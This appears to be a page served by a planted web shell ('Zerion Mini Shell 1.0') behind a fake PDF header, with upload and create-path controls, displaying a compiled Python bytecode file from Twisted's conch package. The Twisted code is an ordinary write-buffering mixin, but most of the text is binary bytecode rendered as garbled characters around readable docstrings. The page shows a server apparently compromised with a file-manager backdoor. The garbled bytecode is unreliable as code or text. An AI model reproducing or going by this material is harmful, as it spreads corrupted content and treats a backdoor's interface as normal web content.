%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/conch/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/conch/__pycache__/mixin.cpython-312.pyc

�

Ϫ�f]��(�dZddlmZGd�d�Zy)z�
Experimental optimization

This module provides a single mixin class which allows protocols to
collapse numerous small writes into a single larger one.

@author: Jp Calderone
�)�reactorc�4�eZdZdZdZdZdZd�Zd�Zd�Z	d�Z
y)�BufferingMixinz+
    Mixin which adds write buffering.
    Ngc�V�tj|j|j�S�N)r�	callLater�DELAY�flush��selfs �5/usr/lib/python3/dist-packages/twisted/conch/mixin.py�schedulezBufferingMixin.schedules��� � ����T�Z�Z�8�8�c�:�|j|j�yr)�resetr	)r�tokens  r
�
reschedulezBufferingMixin.reschedules��
���D�J�J�rc���|j�g|_|j�|_n|j|j�|jj	|�y)a
        Buffer some bytes to be written soon.

        Every call to this function delays the real write by C{self.DELAY}
        seconds.  When the delay expires, all collected bytes are written
        to the underlying transport using L{ITransport.writeSequence}.
        N)�_delayedWriteCall�datarr�append)rrs  r
�writezBufferingMixin.write!sI���!�!�)��D�I�%)�]�]�_�D�"��O�O�D�2�2�3��	�	����rc�j�d|_|jj|j�d|_y)z/
        Flush the buffer immediately.
        N)r�	transport�
writeSequencerrs r
r
zBufferingMixin.flush0s)��"&������$�$�T�Y�Y�/���	r)�__name__�
__module__�__qualname__�__doc__rrr	rrrr
�rr
rrs-������D��E�9� �
�rrN)r�twisted.internetrrr rr
�<module>r"s��
�%�%�%r

Zerion Mini Shell 1.0